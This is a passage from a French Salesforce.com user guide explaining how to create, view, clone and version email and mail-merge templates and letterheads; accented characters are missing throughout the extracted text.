publipostage termins Microsoft Word vers Salesforce.com pour les rendre disponibles.
Conseil: Avant de tlcharger un modle, nous recommandons la consultation de .

1. Dans Salesforce.com, cliquez sur Configuration Modles de communication Modles de publipostage.

2. Cliquez sur Nouveau modle.
3. Saisissez le nom et la description du modle. Ces informations aideront les utilisateurs choisir le modle adquat lors de
la gnration de documents de publipostage.
Si votre entreprise utilise le publipostage tendu, choisissez le type de document appropri : Document, tiquette ou
Enveloppe. Le publipostage tendu disponible sur demande uniquement. Contactez le support client salesforce.com si
cette fonction vous intresse.
4. Cliquez sur Parcourir pour slectionner votre modle de publipostage Word.

Gestion de l'administration

Guide de l'utilisateur | Utilisation des en-ttes | 74

5. Cliquez sur Enregistrer pour achever la procdure.

Voir aussi :
Gestion des modles de publipostage
Prsentation des champs de fusion

Utilisation des en-ttes

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des en-ttes :

Grer les en-ttes

Un en-tte dfinit les paramtres du logo, de la couleur de page et du texte de vos modles de message HTML. Pour obtenir
de meilleurs rsultats, crez un seul en-tte pour l'ensemble de vos modles de message HTML. Vous pouvez crer des en-ttes
et les mettre la disposition de l'ensemble de l'organisation.
Pour utiliser des en-ttes, cliquez sur Configuration Modles de communication En-ttes.
partir de la page de liste des en-ttes :

Pour afficher un en-tte, slectionnez son nom dans la liste.

Pour modifier un en-tte, cliquez sur son nom dans la liste, puis choisissez l'une des options suivantes : Modifier les
proprits ou Modifier l'en-tte.
Pour supprimer un en-tte, cliquez sur Suppr en regard de son nom. Vous ne pouvez pas supprimer les en-ttes utiliss
dans un modle de message HTML.

Voir aussi :
Cration d'en-ttes

Gestion de l'administration

Guide de l'utilisateur | Utilisation des en-ttes | 75

Cration d'en-ttes
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des en-ttes :

Grer les en-ttes

Les en-ttes dfinissent la prsentation de vos modles de message HTML. Ces modles peuvent hriter des paramtres de
logo, de couleur et de texte d'un en-tte. Un en-tte est constitu de proprits et de dtails. Les proprits ne sont visibles
qu' l'intrieur de votre organisation ; elles aident les utilisateurs identifier un en-tte. Les dtails de l'en-tte s'appliquent
un e-mail lorsque vous utilisez cet en-tte. Utilisez l'assistant d'en-tte pour crer les proprits et les dtails de votre en-tte.
1. Cliquez sur Configuration Modles de communication En-ttes.
2. Cliquez sur Nouvel en-tte.
Dfinition des proprits de l'en-tte
1. Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser immdiatement le nouvel en-tte.
2. Saisissez le nom de l'en-tte. L'tiquette est utilise pour faire rfrence l'en-tte dans les pages de l'interface
utilisateur.
3. Si ncessaire, changez le nom unique de len-tte. Ce nom est utilis pour faire rfrence au composant lors de
l'utilisation de l'API Force.com. Dans des packages grs, ce nom unique vite les conflits de nom dans les installations
de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans
votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement
et ne doit pas contenir deux traits de soulignement conscutifs. A l'aide du champ Nom unique de len-tte, un
dveloppeur peut modifier le nom de certains composants dans un package gr et les modifications sont rpercutes dans
l'organisation de l'abonn.
4. Saisissez la description de l'en-tte. Le nom et la description sont rservs un usage interne pour fournir une description
de l'en-tte aux autres utilisateurs.
5. Cliquez sur Enregistrer. La page de dtails de l'en-tte apparat.
Dfinition des dtails de l'en-tte
1. Dfinissez les attributs de l'en-tte.

Cliquez sur Modifier la couleur de l'arrire-plan et dfinissez la couleur d'arrire-plan de votre en-tte. Cliquez sur
le bouton de slection de couleur pour dfinir la couleur souhaite.
Cliquez sur Modifier les proprits de l'en-tte, puis slectionnez la couleur, l'alignement et la hauteur de la section
suprieure de l'en-tte.
Cliquez sur Slectionner un logo pour inclure une image du logo de votre socit dans la section infrieure ou suprieure
de l'en-tte. Pour slectionner une image, choisissez un dossier et cliquez sur le nom du document joindre. Vous
pouvez galement cliquer sur Rechercher dans des documents, puis entrez le nom du fichier rechercher. Assurez-vous
que le document que vous slectionnez est marqu comme tant Accessible en externe dans l'onglet Documents,
de faon ce qu'un utilisateur ne possdant pas de nom d'utilisateur et de mot de passe Salesforce.com puisse afficher
l'image lorsqu'elle est envoye dans un e-mail.
Cliquez sur Supprimer le logo pour supprimer l'image de l'en-tte.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 76

Cliquez sur Modifier la ligne du haut et dfinissez la couleur et la hauteur d'une ligne horizontale situe sous l'en-tte.
Cliquez sur le bouton de slection de couleur pour dfinir la couleur souhaite.
Cliquez sur Modifier les couleurs du corps et dfinissez la couleur d'arrire-plan du corps principal de l'en-tte.
Cliquez sur Modifier la ligne du milieu et dfinissez la couleur et la hauteur de la ligne du milieu de l'en-tte. Cliquez
sur le bouton de slection de couleur pour dfinir la couleur souhaite.
Cliquez sur Modifier les proprits du pied de page et dfinissez la couleur, l'alignement et la hauteur de la section
infrieure de l'en-tte.
Cliquez sur Modifier la ligne du bas et dfinissez la couleur et la hauteur d'une ligne horizontale infrieure. Cliquez
sur le bouton de slection de couleur pour dfinir la couleur souhaite.

2. Si vous le souhaitez, cliquez sur Aperu pour afficher l'en-tte dans une fentre de navigation spare.
3. Cliquez sur Enregistrer.
Pour crer un modle d'e-mail HTML contenant les paramtres de votre en-tte, reportez-vous Cration de modles de
message HTML la page 80.

Voir aussi :
Gestion des modles de message
Cration de modles personnaliss d'e-mail HTML

Gestion des modles de message

Disponible avec : Toutes les ditions
L'envoi de messages en masse n'est pas disponible avec : Personal Edition, Contact Manager Edition et Group Edition
Les modles d'e-mail HTML et Visualforce ne sont pas disponibles dans : Personal Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles de message HTML :

Modifier les modles HTML

Pour crer ou modifier des modles d'e-mails Visualforce :

Personnaliser l'application

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Vous pouvez crer quatre types de modles d'e-mails :

Texte - Tous les utilisateurs peuvent crer ou modifier des modles d'e-mail texte. Reportez-vous Cration de modles
de message texte la page 79.
HTML avec en-tte - Les administrateurs et les utilisateurs autoriss modifier les modles HTML peuvent crer des
modles de message HTML bass sur un en-tte. Reportez-vous Cration de modles de message HTML la page 80
HTML personnalis - Les administrateurs et les utilisateurs autoriss modifier les modles HTML peuvent crer des
modles de message HTML personnaliss sans utiliser d'en-tte. Vous devez connatre le code HTML ou l'obtenir pour
l'insrer dans votre modle de message. Reportez-vous Cration de modles d'e-mail HTML personnaliss la page 86

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Guide de l'utilisateur | Gestion des modles de message | 77

Visualforce : les administrateurs et les dveloppeurs peuvent crer des modles l'aide de Visualforce. Les modles d'e-mail
Visualforce permettent d'effectuer des fusions avances avec les donnes d'un bnficiaire et leur contenu peut inclure des
informations sur plusieurs enregistrements. Reportez-vous Cration de modles d'e-mail Visualforce.

Tous ces modles de message peuvent contenir du texte, des champs de fusion ainsi que des fichiers en pice jointe. Vous
pouvez utiliser des modles d'e-mails lorsque vous envoyez un e-mail partir de la liste associe Historique des activits d'un
enregistrement. Vous pouvez galement utiliser les modles texte et HTML pour envoyer des e-mails en masse. Un bouton
de correction orthographique de votre modle est disponible pour les modles de texte et les modles Visualforce sans balises
HTML.
Remarque: Vous pouvez envoyer des e-mail en masse en utilisant un modle d'e-mail Visualforce.

Pour grer vos modles de message personnels, cliquez sur Configuration Adresse e-mail Mes modles. Si vous avez
l'autorisation de grer des modles de message publics, cliquez sur Configuration Modles de communication Modles
de message.

Cliquez sur le nom d'un modle d'e-mail pour accder la page Affichage des modles d'e-mail.
Pour modifier ou supprimer un modle, cliquez sur Modifier ou sur Suppr en regard de son nom.
Cliquez sur Nouveau modle pour crer un type de modle de message.
Remarque: Les modles d'e-mail utiliss dans les fonctionnalits suivantes doit tre publics et actifs :

Web vers piste

Web vers requte
E-mail vers requte ou E-mail vers requte la demande
Rgles d'attribution
Rgles de hirarchisation
Des rgles de rponse automatique

Voir aussi :
Clonage de modles d'e-mail
Utilisation des en-ttes

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Guide de l'utilisateur | Gestion des modles de message | 78

Affichage des modles d'e-mails

Disponible avec : Toutes les ditions
L'option d'envoi de messages en masse n'est pas disponible dans les ditions suivantes : Personal Edition, Contact Manager
Edition et Group Edition
Les modles d'e-mail HTML et Visualforce ne sont pas disponibles dans : Personal Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles de message HTML :

Modifier les modles HTML

Pour crer ou modifier des modles d'e-mails Visualforce :

Autorisation de personnalisation de l'application

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Pour afficher un modle, cliquez sur son nom dans la liste. Les options varient selon le type de modle (personnalis, HTML,
Visualforce ou texte) :

En ce qui concerne les modles texte, cliquez sur Modifier pour modifier le contenu, l'objet ou les champs de fusion du
message.
Pour les modles personnaliss et HTML :
-

Cliquez sur Modifier la version HTML pour modifier le contenu ou les champs de fusion de la version HTML.
Remarque: Les modles d'e-mails HTML et personnaliss incluent tous une version texte seul destine aux
personnes qui ne peuvent pas lire les e-mails au format HTML. Si vous laissez vide le champ de la version texte
seul, cette version est automatiquement gnre lorsque vous modifiez la version HTML.

Cliquez sur Modifier la version texte pour modifier le contenu ou les champs de fusion de la version texte.
Remarque: Salesforce.com vous recommande de laisser le champ de la version texte seul vide. Lorsque vous
n'inscrivez rien dans le champ de la version texte seul, Salesforce.com cre automatiquement un contenu texte
seul partir de la version HTML actuelle. Si vous choisissez de remplir le champ de la version texte seul et que
vous crez manuellement une version texte seul, les modifications de la version HTML ne sont pas refltes
dans cette version texte seul.

Modles Visualforce :
-

Cliquez sur Modifier le modle pour changer le balisage du modle.

Cliquez sur Prvisualisation pour afficher un chantillon du balisage du modle contenant les donnes de vos
enregistrements. Vous pouvez galement envoyer un aperu d'e-mail.
La liste associe de pices jointes Visualforce indique quelles sont les pices jointes gnres via le balisage Visualforce.
Si le marquage Visualforce rfrence des composants dans des packages grs installs, par exemple une autre classe,
un dclencheur, un objet personnalis, etc., la liste associe Paramtres de version rpertorie les versions de packages
(des packages grs installs) qui contiennent les composants rfrencs.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 79

Cliquez sur Joindre le fichier pour ajouter une pice jointe au modle partir de la liste associe Pices jointes. Le fichier
joint est inclus dans chaque message utilisant le modle.
Pour slectionner un fichier :
-

Cliquez sur le lien Rechercher dans des documents pour rechercher des fichiers dans l'onglet Documents. Si vous
slectionnez un logo ou un autre fichier graphique, assurez-vous que le document est marqu comme Accessible
en externe dans l'onglet Documents, afin que tous les destinataires de l'e-mail puissent voir l'image.
Vous pouvez galement choisir une option dans la liste droulante File Location pour slectionner un fichier sur votre
ordinateur ou dans un dossier de documents.

Si vous disposez de l'autorisation Grer les modles publics, cliquez sur [Modifier] en regard du champ Auteur pour
slectionner un autre auteur. L'auteur est initialement le crateur du modle de message.
Cliquez sur Supprimer pour supprimer le modle.
Cliquez sur Cloner pour cloner le modle. Pour plus d'informations, reportez-vous Clonage de modles d'e-mails la
page 87.
Si le mode Dveloppeur est actif, cliquez sur Afficher les dpendances pour identifier les composants auxquels fait
rfrence le modle. Pour plus d'informations, reportez-vous Prsentation des dpendances la page 853.

Voir aussi :
Gestion des modles de message
Gestion des paramtres de version pour les modles d'e-mail Visualforce

Cration de modles de message texte

Pour crer un modle de message texte :
1. Cliquez sur Configuration Adresse e-mail Mes modles. Si vous avez l'autorisation de modifier des modles publics,
cliquez sur Configuration Modles de communication Modles de message.
2. Cliquez sur Nouveau modle.
3. Choisissez le type de modle Texte, puis cliquez sur Suivant.
4. Choisissez le dossier dans lequel vous voulez stocker le modle.
5. Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser ce modle lorsqu'ils envoient un e-mail.
6. Saisissez le nom du modle de message.
7. Si ncessaire, modifiez le Nom unique du modle. Il s'agit d'un nom unique utilis pour faire rfrence au composant
lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom unique vite les conflits de nom dans les installations
de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans
votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement
et ne doit pas contenir deux traits de soulignement conscutifs. A l'aide du champ Nom unique du modle, un dveloppeur
peut modifier le nom de certains composants dans un package gr et les modifications sont rpercutes dans l'organisation
de l'abonn.
8. Slectionnez un paramtre de codage pour dterminer le jeu de caractres du modle.
9. Saisissez la description du modle. Le nom et la description du modle sont rservs un usage interne.
10. Saisissez l'objet du message.
11. Saisissez le texte devant apparatre dans le message.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 80

12. Vous pouvez galement saisir des champs de fusion dans l'objet et dans le corps du texte du modle. Ces champs seront
remplacs par des informations provenant de vos enregistrements lorsque vous envoyez un e-mail. Pour plus d'informations
sur l'utilisation des champs de fusion, reportez-vous Prsentation des champs de fusion la page 67.
13. Cliquez sur Enregistrer.
Fichiers joints aux modles
Pour ajouter une pice jointe un modle :
1. Cliquez sur Configuration Adresse e-mail Mes modles. Si vous avez l'autorisation de modifier des modles publics,
cliquez sur Configuration Modles de communication Modles de message.
2. Slectionnez un modle.
3. Cliquez sur Joindre le fichier depuis la page de dtails du modle d'e-mail.
4. Slectionnez un dossier et cliquez sur le nom du document joindre, ou cliquez sur Rechercher dans des documents et
entrez le nom du fichier rechercher par nom.
Vous pouvez galement cliquer sur Poste de travail pour joindre un fichier stock sur votre ordinateur.
Le fichier joint est inclus dans chaque message utilisant le modle. Les pices jointes des messages en masse sont envoyes
sous forme de liens et non de fichiers physiques (reportez-vous Envoi de messages en masse la page 1388).

Voir aussi :
Gestion des modles de message
Cration de modles de message HTML
Cration de modles personnaliss d'e-mail HTML
Cration de modles d'e-mails Visualforce
Clonage de modles d'e-mail

Cration de modles de message HTML

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition
L'option d'envoi de messages en masse n'est pas disponible dans les ditions suivantes : Personal Edition, Contact Manager
Edition et Group Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles de message HTML :

Modifier les modles HTML

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Pour crer un modle de message HTML :

1. Cliquez sur Configuration Adresse e-mail Mes modles. Si vous avez l'autorisation de modifier des modles publics,
cliquez sur Configuration Modles de communication Modles de message.

Gestion de l'administration

2.
3.
4.
5.
6.
7.

Guide de l'utilisateur | Gestion des modles de message | 81

Cliquez sur Nouveau modle.

Choisissez HTML (avec en-tte), puis cliquez sur Suivant.
Choisissez le dossier dans lequel vous voulez stocker le modle.
Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser ce modle lorsqu'ils envoient un e-mail.
Saisissez le nom du modle de message.
Si ncessaire, modifiez le Nom unique du modle. Il s'agit d'un nom unique utilis pour faire rfrence au composant
lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom unique vite les conflits de nom dans les installations
de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans
votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement
et ne doit pas contenir deux traits de soulignement conscutifs. A l'aide du champ Nom unique du modle, un dveloppeur
peut modifier le nom de certains composants dans un package gr et les modifications sont rpercutes dans l'organisation
de l'abonn.
8. Slectionnez un en-tte. Un en-tte dfinit les paramtres du logo, de la couleur de page et du texte de votre e-mail.
9. Slectionnez la prsentation d'e-mail. La prsentation de l'e-mail dtermine la disposition des colonnes et de la
page du texte du message. Cliquez sur Afficher les options de prsentation de l'e-mail pour afficher des exemples.
10. Slectionnez un paramtre de codage pour dterminer le jeu de caractres du modle.
11. Saisissez la description du modle. Le nom et la description du modle sont rservs un usage interne. La description
sert de titre des activits de message consignes lorsque vous effectuez un envoi en masse de messages.
12. Cliquez sur Suivant.
13. Saisissez l'objet devant apparatre dans l'e-mail que vous envoyez.
14. Saisissez le texte devant apparatre dans le message que vous envoyez. Cliquez sur n'importe quelle section, puis commencez
saisir le texte de votre message. Pour viter que des utilisateurs modifient une section lorsqu'ils utilisent ce modle, cliquez
sur l'icne en forme de cadenas.
15. Changez le style de votre texte en slectionnant ce dernier et en utilisant la barre d'outils de formatage.
16. Vous pouvez galement saisir des champs de fusion dans l'objet et dans le corps du texte du modle. Ces champs seront
remplacs par des donnes provenant de votre piste, contact, compte, opportunit, requte ou solution lors de l'envoi d'un
message. Pour plus d'informations sur l'utilisation des champs de fusion, reportez-vous Prsentation des champs de fusion
la page 67.
17. Cliquez sur Suivant.
18. Saisissez la version texte seul de votre e-mail. Les destinataires de votre message qui ne lisent pas le HTML pourront lire
cette version. Cliquez sur Copier le texte partir de la version HTML pour coller automatiquement le texte partir de
votre version HTML, mais sans les balises HTML.
19. Cliquez sur Enregistrer.

Voir aussi :
Cration de modles de message texte
Cration de modles personnaliss d'e-mail HTML
Cration de modles d'e-mails Visualforce
Clonage de modles d'e-mail
Cration d'en-ttes
Clonage de modles d'e-mail

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 82

Cration de modles d'e-mails Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles d'e-mails Visualforce :

Personnaliser l'application

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Pour crer un modle d'e-mail Visualforce :

1. Cliquez sur Configuration E-mail Mes modles. Si vous disposez de l'autorisation de modification des modles
publics, cliquez sur Configuration Modles de communication Modles de message.
2. Cliquez sur Nouveau modle.
3. Choisissez Visualforce, puis cliquez sur Suivant.
Vous pouvez envoyer des e-mail en masse en utilisant un modle d'e-mail Visualforce.
4.
5.
6.
7.

Choisissez le dossier dans lequel vous voulez stocker le modle.

Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser ce modle lorsqu'ils envoient un e-mail.
Saisissez le nom du modle de message.
Si ncessaire, modifiez le Nom unique du modle. Ce nom est utilis pour faire rfrence au composant lors de l'utilisation
de l'API Force.com. Dans les packages grs, ce nom unique empche les conflits de noms dans les installations de packages.
Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre
organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et
ne doit pas contenir deux traits de soulignement conscutifs. A l'aide du champ Nom unique du modle, un dveloppeur
peut modifier le nom de certains composants dans un package gr et les modifications sont rpercutes dans l'organisation
de l'abonn.
8. Slectionnez un paramtre de codage pour dterminer le jeu de caractres du modle.
9. Saisissez la description du modle. Le nom et la description du modle sont rservs un usage interne.
10. Entrez la ligne d'objet du modle dans Objet de l'e-mail.
11. Dans la liste droulante Type de destinataire, slectionnez le type du destinataire du modle d'e-mail.
12. Dans la liste droulante Type associ, vous pouvez slectionner facultativement l'objet partir duquel le modle va
extraire les donnes du champ de fusion.
13. Cliquez sur Enregistrer.
14. Dans la page Affichage des modles d'e-mails, cliquez sur Modifier le modle.
15. Entrez le texte de balisage du modle d'e-mail Visualforce.
16. Cliquez sur Paramtres de version pour spcifier la version de Visualforce et de l'API utilise avec ce modle d'e-mail. Si
votre organisation possde des packages grs installs depuis AppExchange, vous pouvez galement spcifier la version
de chaque package gr utiliser avec ce modle d'e-mail. Gnralement, vous devez utiliser la valeur par dfaut pour toutes
les versions. Elle associe le modle d'e-mail la version la plus rcente de Visualforce et de l'API, ainsi que de chaque
package gr. Vous pouvez spcifier une version antrieure de Visualforce et de l'API pour conserver un comportement
spcifique. Vous pouvez spcifier une version antrieure d'un package gr si vous souhaitez accder des composants ou
des fonctionnalits qui diffrent de la version la plus rcente du package.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 83

17. Cliquez sur Enregistrer pour enregistrer vos modifications et afficher les informations du modle ou cliquez sur
Enregistrement rapide pour enregistrer vos modifications et continuer modifier le modle. Votre balisage Visualforce
doit tre valide pour que vous puissiez enregistrer le modle.
Remarque: La taille maximale d'un modle d'e-mail Visualforce est 1 Mo.
Vous pouvez envoyer des e-mail en masse en utilisant un modle d'e-mail Visualforce. Les champs de fusion
{!Receiving_User.field_name} et {!Sending_User.field_name} fonctionnent uniquement pour les
e-mails en masse et ne sont pas disponibles dans les modles d'e-mail Visualforce.

Voir aussi :
Prsentation de Visualforce
Gestion des paramtres de version pour les modles d'e-mail Visualforce
Cration de modles de message texte
Cration de modles de message HTML
Cration de modles personnaliss d'e-mail HTML
Affichage des modles d'e-mails
Clonage de modles d'e-mail
Cration d'en-ttes
Clonage de modles d'e-mail

Gestion des paramtres de version pour les modles d'e-mail Visualforce

Disponible avec : Contact Manager Edition, Group Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir les paramtres de version des modles d'e-mail
Visualforce :

Personnaliser l'application

Pour faciliter la rtrocompatibilit, chaque modle d'e-mail Visualforce est enregistr avec les paramtres de la version Visualforce
spcifie et de l'API. Si le modle d'e-mail Visualforce rfrence des packages grs installs, les paramtres de version de
chaque package gr, rfrenc par le composant Visualforce, sont galement enregistrs. Ainsi, lorsque Visualforce, l'API et
les composants de packages grs voluent avec les versions publies ultrieurement, une modle d'e-mail Visualforce reste li
aux versions avec un comportement spcifique connu.
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les versions de package permettent aux diteurs
d'adapter les composants de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations
clientes existantes en utilisant le package.
Pour dfinir l'API Salesforce.com et la version Visualforce d'un modle d'e-mail Visualforce :

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 84

1. Cliquez sur Configuration E-mail Mes modles. Si vous disposez de l'autorisation de modification des modles
publics, cliquez sur Configuration Modles de communication Modles de message.
2. Cliquez sur Nom du modle d'e-mail pour le modle d'e-mail Visualforce.
3. Cliquez sur Modifier le modle, puis sur Paramtres de version.
4. Slectionnez la Version de l'API Salesforce.com. Il s'agit galement de la version de Visualforce utilise avec ce modle.
5. Cliquez sur Enregistrer.
Pour configurer les paramtres de version du package pour un modle d'e-mail Visualforce :
1. Cliquez sur Configuration E-mail Mes modles. Si vous disposez de l'autorisation de modification des modles
publics, cliquez sur Configuration Modles de communication Modles de message.
2. Cliquez sur Nom du modle d'e-mail pour le modle d'e-mail Visualforce.
3. Cliquez sur Modifier le modle, puis sur Paramtres de version.
4. Slectionnez une Version pour chaque package gr rfrenc par le modle d'e-mail Visualforce : Cette version du
package gr continue d'tre utilise par le modle d'e-mail Visualforce si des versions ultrieures du package gr sont
installes, sauf si vous mettez manuellement jour le paramtre de version. Pour ajouter un package gr install la liste
des paramtres, slectionnez un package dans la liste des packages disponibles. Cette liste s'affiche uniquement si un package
gr install n'est pas dj associ au modle d'e-mail Visualforce.
5. Cliquez sur Enregistrer.
Notez les points suivants lorsque vous utilisez des paramtres de version de package :

Si vous avez un modle d'e-mail Visualforce qui rfrence un package gr sans spcifier sa version, le modle
d'e-mail Visualforce est associ par dfaut la dernire version installe du package gr.
Vous ne pouvez pas Supprimer le paramtre de version d'un modle d'e-mail Visualforce pour un package gr si ce dernier
est rfrenc par le modle d'e-mail Visualforce.

Voir aussi :
Cration de modles d'e-mails Visualforce
Cration de modles de message texte
Cration de modles de message HTML
Cration de modles personnaliss d'e-mail HTML
Affichage des modles d'e-mails
Clonage de modles d'e-mail
Clonage de modles d'e-mail

Utilisation de la barre d'outils Format

Utilisez la barre d'outils de formatage pour modifier du texte au format HTML. Slectionnez le texte formater et cliquez
sur l'option approprie dcrite ci-dessous :
Option

Description

Polices

Slectionnez un style de caractre. Slectionnez le texte auquel appliquer une police, puis la police
approprie.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 85

Option

Description

Taille

Slectionnez une taille de caractre. Slectionnez le texte auquel appliquer la taille, puis la taille
approprie.
Insrez un graphique partir de la bibliothque de documents. Cette option n'est pas disponible
lors de la ralisation de certaines actions telles que la cration de composants de page d'accueil
personnaliss.
Slectionnez une couleur d'arrire-plan.
Slectionnez une couleur de police.
Gras
Italique
Souligner
Insrez un nouveau lien hypertexte ou modifiez un lien existant. Slectionnez le texte lier, cliquez
sur ce bouton, puis entrez l'URL du lien. Pour utiliser un champ de fusion tel que {!Case_Link}
comme destination du lien, insrez le champ de fusion aprs http://.
Justifiez le texte gauche.
Centrez le texte.
Justifiez le texte droite.
Crez une liste puces.
Numrotez une liste.
Augmentez la mise en retrait du texte.
Rduisez la mise en retrait du texte.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 86

Cration de modles personnaliss d'e-mail HTML

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition
L'option d'envoi de messages en masse n'est pas disponible dans les ditions suivantes : Personal Edition, Contact Manager
Edition et Group Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles de message HTML
personnaliss :

Modifier les modles HTML

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Pour crer un modle de message HTML personnalis :

1. Cliquez sur Configuration Adresse e-mail Mes modles. Si vous avez l'autorisation de modifier des modles publics,
cliquez sur Configuration Modles de communication Modles de message.
2. Cliquez sur Nouveau modle.
3. Choisissez Personnalis (sans utiliser l'en-tte), puis cliquez sur Suivant.
4. Choisissez le dossier dans lequel vous voulez stocker le modle.
5. Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser ce modle lorsqu'ils envoient un e-mail.
6. Saisissez le nom du modle de message.
7. Si ncessaire, modifiez le Nom unique du modle. Ce nom est utilis pour faire rfrence au composant lors de l'utilisation
de l'API Force.com. Dans les packages grs, ce nom unique empche les conflits de noms dans les installations de packages.
Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre
organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et
ne doit pas contenir deux traits de soulignement conscutifs. A l'aide du champ Nom unique du modle, un dveloppeur
peut modifier le nom de certains composants dans un package gr et les modifications sont rpercutes dans l'organisation
de l'abonn.
8. Slectionnez un paramtre de codage pour dterminer le jeu de caractres du modle.
9. Saisissez la description du modle. Le nom et la description du modle sont rservs un usage interne. La description
sert de titre des activits de message consignes lorsque vous effectuez un envoi en masse de messages.
10. Cliquez sur Suivant.
11. Saisissez l'objet devant apparatre dans l'e-mail que vous envoyez.
12. Saisissez le texte source HTML devant apparatre dans le message que vous envoyez. Ce texte doit inclure toutes les balises
HTML.
13. Vous pouvez galement saisir des champs de fusion dans l'objet et dans le corps du texte du modle. Ces champs seront
remplacs par des donnes provenant de votre piste, contact, compte, opportunit, requte ou solution lors de l'envoi d'un
message. Pour plus d'informations sur l'utilisation des champs de fusion, reportez-vous Prsentation des champs de fusion
la page 67.
14. Cliquez sur Suivant.

Gestion de l'administration

Guide de l'utilisateur | Gestion des modles de message | 87

15. Vous pouvez galement saisir la version texte seul de votre e-mail. Les destinataires de votre message qui ne lisent pas le
HTML pourront lire cette version. Cliquez sur Copier le texte partir de la version HTML pour coller automatiquement
le texte partir de votre version HTML, mais sans les balises HTML.
Remarque: Salesforce.com vous recommande de laisser le champ de la version texte seul vide. Lorsque vous
n'inscrivez rien dans le champ de la version texte seul, Salesforce.com cre automatiquement un contenu texte seul
partir de la version HTML actuelle. Si vous choisissez de remplir le champ de la version texte seul et que vous
crez manuellement une version texte seul, les modifications de la version HTML ne sont pas refltes dans cette
version texte seul.
16. Cliquez sur Enregistrer.
Remarque: Les utilisateurs ne peuvent pas modifier le contenu d'un modle HTML personnalis lorsqu'ils le
slectionnent pour l'utiliser dans un message.

Voir aussi :
Cration de modles de message texte
Cration de modles de message HTML
Cration de modles d'e-mails Visualforce
Cration d'en-ttes
Clonage de modles d'e-mail

Clonage de modles d'e-mail

Disponible avec : Toutes les ditions
L'option d'envoi de messages en masse n'est pas disponible dans les ditions suivantes : Personal Edition, Contact Manager
Edition et Group Edition
Les modles d'e-mail HTML et Visualforce ne sont pas disponibles dans : Personal Edition

Autorisations utilisateur requises

Pour crer ou modifier des modles de message HTML :

Modifier les modles HTML

Pour crer ou modifier des modles d'e-mails Visualforce :

Autorisation de personnalisation de l'application

Pour crer ou modifier des dossiers de modles de message

publics :

Grer les modles publics

Le clonage d'un modle d'e-mail suppose l'enregistrement d'un modle d'e-mail existant sous un nouveau nom. Pour cloner
un modle d'e-mail :
1. Pour grer vos modles de message personnels, cliquez sur Configuration Adresse e-mail Mes modles. Si vous
avez l'autorisation de grer des modles de message publics, cliquez sur Configuration Modles de communication
Modles de message.
2. Cliquez sur le nom d'un modle d'e-mail dans la liste.

Gestion de l'administration

3.
4.
5.
6.
7.
8.

Guide de l'utilisateur | Configuration du systme de traduction | 88

Cliquez sur Cloner.

Choisissez le dossier dans lequel vous voulez stocker le modle.
Cochez la case Disponible si vous souhaitez que les utilisateurs puissent utiliser ce modle lorsqu'ils envoient un e-mail.
Saisissez le nom du modle de message.
Saisissez la description du modle. Le nom et la description du modle sont rservs un usage interne.
Cliquez sur Enregistrer.

Voir aussi :
Gestion des modles de message
Cration de modles de message HTML
Cration de modles de message texte
Cration de modles personnaliss d'e-mail HTML
Cration de modles d'e-mails Visualforce

Configuration du systme de traduction

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

